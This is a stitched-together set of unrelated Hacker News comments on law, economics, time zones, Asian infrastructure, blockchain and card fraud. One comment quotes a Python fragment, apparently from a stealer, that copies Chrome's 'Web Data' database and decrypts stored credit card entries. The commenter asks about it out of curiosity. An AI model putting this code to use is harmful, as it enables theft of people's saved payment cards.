skysight-inc/HackerNews huggingface dataset:
https://en.wikipedia.org/wiki/Duress_in_American_law

I don't think it really applies here, since the duress (the carjacking incident) came well after the legal agreement (the driver accepting Uber's TOS).

I think it's that any agreement the driver made with the carjacker would qualify as an agreement made under duress and would be unenforceable.
Centralized censorship is dangerous and should be avoided. However, a distributed system of gatekeepers (e.g. newspaper editors prior to the creation of the internet) has its benefits. Competition limits the power of censorship, but the censors still have enough power to keep certain ideas out of the mainstream. This has its downsides too, no doubt. Some of the ideas being suppressed were good ones, but there were benefits as well. As with all things, there are trade offs.
reminds me of the Bin Laden interview(s) before 9/11, specifically the one with Robert Fisk where Bin Laden was saying he was going to start attacking America

https://www.bbc.co.uk/programmes/w3csvtth

https://www.cbsnews.com/pictures/osama-bin-laden-tora-bora/
If I mentioned it directly on a CV at all I would list it in the very small personal interests section at the end along with my other hobbies (running, HEMA, etc.). I've not needed to update my CV in a long time, so advice on this may have changed, but way back when I last touched it up it was worth including such a short list of “what I do in my spare time” and interviewers would sometimes pick something off that as a starting point for a bit of informal discussion.

Though of course it will be linked from my main “vanity page” (which also doesn't currently exist in any touched-in-the-last-decade form) at forename.surname.net or similar, which would be listed on my CV along with other contact details, as well as being linked to on other relevant online profiles. An interested employer might look, those that don't care won't be affected either way.
I have done exactly the same, but I am happy to continue like this after switching to GMT about 20 years ago.

Adding/subtracting the local time offsets when necessary is easier for me than trying to think in local times and DST.

Moreover, I have not lost the context for the earth's rotation, but I am better aware of it, by remembering which is the GMT time of the noon where I live.

During summers (i.e. with DST), the noon is delayed here by about 75 minutes from 12:00, so keeping in mind the correct UTC time of the noon makes me more aware of the Sun position. There are many places where the time difference between noon and 12:00 local time is much larger, making the official local time pretty useless for determining the Sun direction.
I think this is a great question, as there are many such circumstances across a broad spectrum. If there's some legal point to pivot on (e.g. imminent physical harm) it would be good to know.
Scotland to move ‘beyond level zero’ next week
> Is there anything to indicate that these are instead murders in order to hide something?

The huge number of instigators of the riot and leadership in some of the organizations who turned out to be FBI "informants" does call for some sideways glances.
It can be a justification for addition of backdoors. If backdoors don't help, it's okay, they can be used for other purposes.
I don't see an alternative for managing secular stagnation and growth traps. Metaphorically, you're essentially guiding and supporting someone passing out to the floor so they don't get a concussion when they hit their head ("soft landing"). You're (or rather, your macro economy is) headed to the floor no matter what.

See: Japan [1]

1. What is Japanification?
It’s a term used by economists to describe a state of chronically anemic economic growth and feeble inflation or even deflation similar to the conditions faced by Japan since a giant real-estate bubble popped in the early 1990s. It’s used to convey the alarming prospect -- often discussed in Europe, which has staggered economically ever since the 2008 financial crisis -- of sluggishness so deep that it is extremely difficult to escape. Even after Japan’s central bank embraced two extraordinary forms of monetary stimulus -- negative interest rates and asset purchases worth more than the entire size of the world’s third-largest economy -- the country has yet to return to a positive growth cycle strong enough to generate 2% inflation after nearly three decades.

2. What is secular stagnation?
It’s a term originally coined by the Harvard economist Alvin Hansen in the 1930s to describe the tendency of mature industrial economies to move toward instability in the absence of large amounts of public investment. It echoed the ideas laid out by John Maynard Keynes in his seminal 1936 treatise, “The General Theory of Employment, Interest and Money.” At the time, the global economy was mired in a deep depression, and theories like Keynes’s and Hansen’s offered an explanation and a prescription for the way out. In recent years, amid rock-bottom interest rates in the wake of the biggest global downturn since the 1930s, another Harvard economist -- former U.S. Treasury Secretary Lawrence Summers -- revived the phrase to capture basically the same idea.

3. Are they the same thing?
Essentially, yes. Japanification can be seen as a subset of secular stagnation, with characteristics matching those that have specifically plagued Japan. The country’s rapidly aging and shrinking population has contributed to the slowdown of economic activity, and to a high saving-low investment environment despite ultra-low interest rates. The Bank of Japan also complains about a deflationary mindset that has taken hold of consumers and companies that inhibits higher spending or higher prices. Japan’s example offers other countries an unsettling vision of their possible future. “We’re essentially at the Japanese place,” Summers told Bloomberg Television on March 12. “That’s a place that’s very hard to get out of.”

(my note: the future for all developed countries is Japan)

[1] https://www.bloomberg.com/news/articles/2020-01-17/japanific...
You need to be able to do both!

Since the start of atomic time the day has generally been about 1ms longer than 24x60x60 seconds; at the time of the last leap second in 2016 it was 1.5ms longer. But since last year it has been slightly less than 24x60x60 seconds! For the last few months it has been around 0.25ms shorter.
Lots of tech nerds are upset that they understand technology but not finance and economics.
Keepa is a data company though, not an Amazon Affiliate, so they shouldn't care about violating that policy
Samantha Smith – America's Youngest Ambassador
Yes! Universal but the same quality as Cuba
A stochastic optimal control problem can be interpreted as a free energy minimization problem [0], but this is a more general result than what is looked at in the paper OP linked.

I'm not sure the "reverse SDE" is technically doing this sort of minimization since it seems like it's just trying to reconstruct an unknown forward process. It's possible there's some sort of minimization going on here over some slack variable though.

[0] https://ieeexplore.ieee.org/abstract/document/6426381?casa_t...
It just doesn’t seem to me like Uber is a bad guy here. The headline is clickbait. And some very bad men committed an armed robbery victimizing a driver. Uber did nothing wrong and in fact it covered the insurance deductible when it had no legal or frankly ethical obligation to do so.
As someone living in Europe, I’m really not sure how to financially insulate myself anymore. It’s not clear which asset class is safest to protect against inflation or a large negative economic event
Did (or could) you blog somewhere about any details, how these things happened and how you dealt with these tricks, threats and accusations? I reckon it would be very helpful for others in the industry to learn from your experience and at the very least get an understanding of how these things occur, how the other party operates and how you can deal with such situations in an appropriate and self-preserving manner (we often come up short in this important area, as we focus on the technical side of things).
Thanks (also for all the hard work that you do!)
There’s no problem with low birth rates, this is a meme that is told by a few economists and yet a very slight depopulation is not only survivable but has upsides as well and so far both South Korea and Japan (for going on three decades) have maintained incredibly competitive across nearly all metrics, certainly far better off than the US in so many ways. I got in an extensive debate over this with statistics a few months back on HN and have yet to see convincing evidence: lots of news articles that are inconclusive, and charts that show them doing as well or better than any European country or most any country in the world.
How would I factory reset and then cold boot my phone?

I'm very noob wrt firmware and rootkits and even CPU microcode. My understanding is some kind of factory reset is no longer feasible. And certainly no longer verifiable.

--

Ages ago, I proposed that electronic voting machines (tabulators) boot from CD-ROM. Device's ROM would only have bare minimum boot loader. Imagine some super minimal embedded controller, zero unnecessary features. Mount a CD, run the optical scanner, a few buttons, 2 line LCD panel, dot matrix printer.

Assume 2000s best practices election administration. Scantron style ballots, precinct-based poll sites, tabulation occurs the moment polls close, tabulated results posted publicly.

These CD-ROMs would then by secured, as much as possible, thru physical chain of custody. Just like all other election artifacts. They'd also contain snapshot of entire source and toolchain and election data, so any one could inspect them, reproduce the builds, verify the dataset, etc.

My jurisdiction had 100s of poll sites. Instead of programming each ballot scanner, they'd burn CD-ROMs.

Any way.

I mention this because I think such simplistic view of secured computing is no longer feasible. And to consider all the things we'd have to give up to return such a world.

Could I put a phone's entire dev stack onto some WORM media and then reimage the device? What would that even look like?
Right, troublesome customers should just have their bank accounts quietly emptied; no need for all this publicity.

https://boingboing.net/2019/02/17/etsy-sellers-say-their-ban...
> and has been doing so since 2017

oh that's new to me!

didn't know OECD had actually gotten anywhere beyond blacklists.

I've seen CRS in a variety of countries, many of those are still implemented in interesting ways, and also don't mean there is liability or tax liability for the ultimate owners.
Class identity and broad social ties can be much stronger than an individual's ties to any single corporation.
The trains running in the subways are much newer, cleaner, and wider than the ones in NYC or Tokyo or Paris or London (based on my own observation).

They also continually build out entirely new rapid lines like the Bundang express line which takes you from a suburb of Seoul to the center of Gangnam (a major district) in 15 minutes.

Their buildings are also mostly new. It seems like every decade or two Koreans demolish older buildings and replace them with new ones. Whereas the US and Japan seem more often to keep old buildings around for much longer (and don't clean them).

The cars on the street in Seoul were also newer than the ones I saw in Japan (although similar in age to NYC). For example the taxis in Japan look like 80s BMWs. They look very cool for that reason but also seem pretty old.

Finally in Japan there's a lot still done by cash and weird single-purpose ticket machines. It would be a hardware hackers dream because of the variety and number of ticketing machines everywhere.

But in contrast Korea has gone almost totally cashless everywhere or so it seems. You just "tap" with your phone. The US is getting there, and maybe Japan is now too since it's been a few years since I was last there.

I wrote a bit more about this a while ago (and included pics) here: https://notes.eatonphil.com/on-nyc-tokyo-and-seoul.html.
If you’re consuming information but comprehending it then this is listening vs hearing. This is my original problem with this “faster than BS filter”. If you claim that information is coming too fast for them to comprehend then they are not comprehending it and therefore not getting the information. Which would make this all false.
```

def cs():

master_key = master()

login_db = os.environ['USERPROFILE'] + os.sep + \
r'AppData\Local\Google\Chrome\User Data\default\Web Data'

shutil.copy2(login_db, "CCvault.db")
conn = sqlite3.connect("CCvault.db")
cursor = conn.cursor()

try:
cursor.execute("SELECT * FROM credit_cards")
for r in cursor.fetchall():
username = r[1]
encrypted_password = r[4]
decrypted_password = dpw(
encrypted_password, master_key)
expire_mon = r[2]
expire_year = r[3]

```

Where does master_key come from here? Is chrome encryption of sensitive information really as weak as that?
The pandemic has made homelessness more visible in many American cities
It's going to depend on your circumstances. You don't share any context about your app or any of your development. Rather than looking at this from the perspective of needing an artifact server, you just look at it as a case of supply chain protection.

If pinning dependencies counters all the threats in your threat model, then fine. If not, you need to be doing something to counter them. An artifact server, or vendoring your dependencies, provides provides a lot of additional control where chokepoints or additional audits can be inserted.

If there was no management cost or hassle then you'd just have an artifact server to give you a free abstraction, but it's a trade-off for many people. It's also not a solution in itself, you need to be able to do audits and use the artifact server to your advantage.

The problem is really with the threat models and whether someone really knows what they need to defend against. I find that many engineers are naïve to the threats since they've never personally had exposure to an environment where these are made visible and countered. At other times, engineers are aware, but it's a problem of influencing management.
Yes, been thinking of that on and off for a while. I also think it could utilize an XPIZE-like model or a HeroX or similar.

What keeps deterring me have been a few projects in the space I came across that arguably haven't done so well, eg. kickfunder and one more, I forget.

I don't know enough about them and there are many reasons why a project does or does not succeed.

I guess, a good way to test the concept would be to partner with a business (eg. as an agency), explore a pressing problem/ they're facing that they can't solve internally, one reason or another. Then help them crowdsource the solution.

It could be a prize, a hackathon, a challenge, etc.

A few of these would act as a good MVP and validate the demand. And maybe there is something similar out there. I need to check.

Businesses would be easier (arguably) because they are more likely to have budget in place to pay for a possible solution, rather than relying on crowdsourcing it.

And again, just like XPRIZE, they only pay if and when someone (a team?) comes up with the right solution according to their requirements.
Need a Cuke with my FriendFace...
> South Korea has plenty of problems, social

Social problems to what cultural viewpoint?
Sometimes I use an air gapped test lab. Setup of certain software and projects is a real pain. Sounds like this approach could help.
> Also it'll lower the barrier for non-software engineers to participate in writing code. SO copy pasting on steroids.

It always amazes me how many people think in the future every one will know how to code, why? Every one has a car but not every one knows how to build a car, and why would they want to?
"I don't see any scientific or technological application that could benefit humanity and would be developed from blockchain technology."

Cool, but there are plenty of financial, economic, and political applications of blockchain that will benefit humanity. Just because you don't understand the use case doesn't mean it doesn't have one.
In hindsight, I'm not certain if Jeff Bezos 'left well'.

Jeff had two CEOs under him- Wilke for Amazon, and Jassy for AWS. Six months before anyone else hears that Jeff is stepping down, Wilke announces that he's retiring. "So why leave? It's just time."[0]

I'll always wonder- was it just time? Or was he waiting to step into Bezos's shoes when it was his time, and had just found out they were going to be filled by someone else. I don't even think that's unreasonable, but it didn't make things smoother.

[0]https://www.cnbc.com/2020/08/21/amazons-consumer-boss-jeff-w...
AirBnb does something similar if a host/guest are raped, seriously injured, or destroy property. They paid off the victims and had them sign NDAs.
While I do not condone any harassment, the American Egg Board's core complaint that "Just Mayo" isn't actually mayonnaise because it doesn't contain eggs (which are an essential ingredient of mayonnaise, to quote Wikipedia: "Mayonnaise is an emulsion of oil, egg yolk, and an acid, either vinegar or lemon juice") was actually true, and I agree with them that it's misleading to consumers for "Just Mayo" to market itself under that name (which implies it is mayonnaise, and not a similar "dressing" or "spread" like Miracle Whip). It seems like both parties are in the wrong here.
> I don't see any scientific or technological application that could benefit humanity and would be developed from blockchain technology.

Assuming you work in tech, you must be aware how similar attitudes existed (within tech, as well) about what the internet itself would provide.

How are you so certain that:

A) you understand all the possible directions a new, network-effect driven tech could take in its applications

B) none of them add value to humanity

C) there are no parallels in your statement to "well horses work fine, why do I need cars."
> The trains running in the subways are much newer, cleaner, and wider than the ones in NYC or Tokyo or Paris or London (based on my own observation).

One of the complaints I had from my SK friend is that other subway platforms don't have safety walls

> Finally in Japan there's a lot still done by cash and weird single-purpose ticket machines. It would be a hardware hackers dream because of the variety and number of ticketing machines everywhere.

Are they connected to the internet?
Swiss central bank bonds are negative for decades and seem to be popular still. If you're scared of a crisis I bet you're interested too.
Sounds like a good change.
> My wife is South Korean so I'm biased. But I've been to Japan and South Korea and if you're looking for one of the most modern nations in the world, I strongly recommend you go to Korea. The only comparable country I've been to is the Netherlands or maybe Denmark.

Have you been to Singapore?
ISIL didn't exist a few years ago. They only came into existence thanks to foreign recruits.

Americans included of course. But there are recruits from all around the world. Disrupting that recruitment process is one of the shining examples of effective cyber warfare vs ISIL / daesh.

Non-Americans use Facebook, YouTube, and other websites in large numbers.

-------

ISIL is still trying to recruit from the US websites. We just censor the crap out of them so they make no progress. It's in fact, proof that censorship works in practice.
Naive Newsletter Delivery
> going to be one of the grand challenges of the 50 years

I’m sceptical of this claim. Demand per capita grows unabated. Working lives are lengthening. A smaller population living well is economically indistinguishable, in the aggregate, from a large one living poorly. Maybe post-industrial civilisations settle into a lower-population steady state than ones requiring lots of unrefined labor.

Yes, dependency ratios will mean re-jiggering the skewed benefits almost every country provides its old at the expense of the young. But that, too, isn’t a bad thing, particularly if it encourages labor force participation.

(There is another comment arguing demographic the dividend’s inverse is a myth. I don’t go that far. I just think it’s a manageable problem versus a catastrophe.)
That sounds like a lot of work. At least in the US you are not responsible for fraud. (I think the law may have like a $50 liability thing, but Visa/MC waive). So it's better to just not do this, and every 3-4 years when my CC is stolen, call them up - dispute the charges, get a new number. Takes < 5 minutes and I keep going.

For what it's worth, the 2 times my number got stolen in the last 6 years, one was from a rogue agent at a hotel in Chicago, and one was from a bad website that stored credit cards.
Hmm. I understood this to be different, but realizing now I don’t have sources for where I learned this:

* Bank accounts, savings accounts, brokerage accounts, etc. are all unlimited liability

* Lines of credit are all zero liability

I’ve used this as a rule of thumb for many years, and was the initial reason for me switching to 100% credit cards for transactions.
People and societies have no problem with ignoring ethics when it benefits them. Otherwise we wouldn’t be waging wars and sucking profits off poorer societies.

Fair trade is based on pretty fundamental ethics, such as fighting slavery. Can you point any such concept being foundational to Free Software?
I think Tokyo has this too but I agree. It seems insane to go on every other subway in the world that doesn't have this.

For NYC I've read that it's complicated: https://nypost.com/2021/02/10/mta-says-subway-shove-preventi....
The title makes it sound like you'll need an invite to even access the site, but the article makes it sound like you'll need an invite to post to the site. However, the distinction isn't made explicit. Will we still be able to read without an invite?
Losing "value" on independent services is true, but unless you have the car a short time you will not lose more than you save (UK) unless its a very premium car.
Yes but with options you have the option (heh) to control when and even whether you exercise (and thus pay the taxes). Options are a bad deal compared to RSUs in a lot of ways but this is their one big upside.
I can and do call out my own government. I can criticize other governments at the same time. I don't need to limit myself to caring about one issue.
NYC Expected to Require Vaccination Proof for Indoor Dining and Fitness
Iowa ranks first in renewable energy use, according to new report
On a tangent, I moved to Korea in 2016 when I was 23 to take advantage of the government's push for global startups.

I wrote a post about it here
https://www.jacobjacquet.com/blog/building-a-global-startup-...

Anything related to Korea's startup ecosystem, feel free to ask
> I think Tokyo has this too but I agree.

Yes, but it's not common. I live here. Maybe in certain wards that have more international residents, such as Minato.
This has become dogma that there is a large problem with misinformation.

Which information specifically do you think is so endemic, that it poses a danger? This isn't the case anywhere in my opinion.

But sure, give Bezos some tax breaks because he invested in the Washington Post... without it probably will become extremely poor.
https://hn.algolia.com/?q=cloudflare+down

https://hn.algolia.com/?q=akamari+down

https://hn.algolia.com/?q=github+down
South Korea, Taiwan, and China all developed their infrastructure relatively recently, so it makes sense that their skyscrapers and subway systems are gleaming.

Fast forward 50 years (once the demographic collapse has fully hit Asia and Europe), and we'll see if their infrastructure continues to be so modern.
I would never ever use a debit card outside of the ATM of the bank I belong to.

Credit card? Go wild, use it everywhere.